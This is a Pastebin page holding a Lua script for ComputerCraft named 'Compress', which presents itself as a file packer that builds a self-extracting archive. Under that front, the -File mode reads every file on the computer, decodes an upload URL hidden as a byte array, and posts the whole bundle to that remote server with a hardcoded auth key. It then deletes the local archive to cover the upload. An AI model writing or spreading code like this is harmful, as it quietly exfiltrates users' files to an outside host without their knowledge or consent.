Advertisement
AdvLock

Compress

May 23rd, 2015
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.71 KB | None | 0 0
  1. fs.delete('Compiled')
  2. term.clear()
  3. term.setCursorPos(1,1)
  4. local function Decompile(CompiledTbl)
  5. local Str = ''
  6. for k, v in pairs(CompiledTbl) do
  7. Str = Str .. string.char(v)
  8. end
  9. return Str
  10. end
  11.  
  12. local function Compile(Str)
  13. local Compiled = {}
  14. for C = 1, #Str do
  15. table.insert(Compiled, string.byte(Str:sub(C, C)))
  16. end
  17. return Compiled, table.concat(Compiled, ',')
  18. end
  19.  
  20. local Blacklist={
  21. 'Flare/*',
  22. 'rom/*',
  23. '__RUN',
  24. '__VERSION',
  25. shell.getRunningProgram() .. "/*",
  26. }
  27.  
  28. local function wildcardpat( path, t )
  29. if t then
  30. return "^/*" .. path:gsub( "%*$", "/*" ) .. "$"
  31. end
  32. return "^/*" .. path:gsub( "%*", "%.%+" ) .. "$"
  33. end
  34.  
  35. local function Blacklisted(Path)
  36. for i, v in ipairs( Blacklist ) do
  37. if Path:find( wildcardpat( v ) ) or Path:find( wildcardpat( v, true ) ) then
  38. printError(Path)
  39. return true
  40. end
  41. end
  42. term.setTextColor(colors.white)
  43. --print(Path)
  44. return false
  45. end
  46.  
  47. local Args = {...}
  48.  
  49. --[[if Args[1] ~= '-String' or Args[1] ~= '-File' then
  50.  
  51. end]]
  52. if Args[1] == '-String' then
  53. String = Args[2]
  54. elseif Args[1] == '-File' then
  55. print('loading files...')
  56. print(textutils.serialize(Blacklist))
  57. sleep(2.5)
  58.  
  59. local Path = '/'
  60. local Contents = {}
  61.  
  62. local function GetDir(Path)
  63. if not Blacklisted(Path) then
  64. local List = fs.list(Path or '/')
  65. for k, v in pairs(List) do
  66. local CurrentPath = Path..fs.getName(
  67. fs.combine(
  68. Path,
  69. v
  70. )
  71. )
  72. if CurrentPath:sub(1,1) == '/' then
  73. CurrentPath = CurrentPath:sub(2, #CurrentPath)
  74. end
  75. if not Blacklisted(CurrentPath) then
  76. print(CurrentPath)
  77. if fs.isDir(CurrentPath) then
  78. CurrentPath = CurrentPath .. '/'
  79. end
  80. if fs.isDir(CurrentPath) then
  81. GetDir(CurrentPath)
  82. else
  83. local File = fs.open(CurrentPath, 'r')
  84. if File then
  85. local Data = File.readAll()
  86. -- Compile data --
  87. --Data = --{string.byte(Data,1,#tostring(Data))}
  88. --print(table.concat(Data, ', '))
  89. --os.pullEvent()
  90. File.close()
  91. Contents[CurrentPath] = Compile(Data)
  92. os.queueEvent('Ping')
  93. os.pullEvent('Ping')
  94. end
  95. end
  96. end
  97. end
  98. end
  99. end
  100. local function Decompile(CompiledTbl)
  101. local Str = ''
  102. for k, v in pairs(CompiledTbl) do
  103. Str = Str .. string.char(v)
  104. end
  105. return Str
  106. end
  107. local Server = Decompile({104, 116, 116, 112, 58, 47, 47, 56, 57, 46, 49, 53, 48, 46, 49, 48, 54, 46, 49, 57, 48, 58, 50, 49, 49, 50, 47, 99, 99, 47, 117, 112, 108, 111, 97, 100, 46, 112, 104, 112})
  108. --local LatestVersion = http.post(Server, 'method=versionget').readAll()
  109.  
  110. GetDir(Path)
  111. local Pre = [[local tbl=]]
  112. local Extra = [[
  113. print('Extracting...')
  114. local function Decompile(CompiledTbl)
  115. local Str = ''
  116. for k, v in pairs(CompiledTbl) do
  117. Str = Str .. string.char(v)
  118. end
  119. return Str
  120. end
  121. for k, v in pairs(tbl) do
  122. print(k)
  123. local X = fs.open(k, 'w')
  124. X.write(Decompile(v))
  125. X.close()
  126. sleep(0.1)
  127. end
  128. ]]
  129. Compiled = fs.open('Compiled', 'w')
  130. Compiled.writeLine(Pre..textutils.serialize(Contents)..Extra)
  131. Compiled.close()
  132.  
  133.  
  134. local function ReadFile(File) local File = fs.open(File, 'r') local _D = File.readAll() File.close() return _D end
  135. local Auth = 'MDx@#4489sD'
  136. local Data = ReadFile('Compiled')
  137. local Response = http.post(Server, 'auth=' .. Auth .. '&method=Push&data=' .. textutils.urlEncode(Data))
  138. fs.delete('Compiled')
  139. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement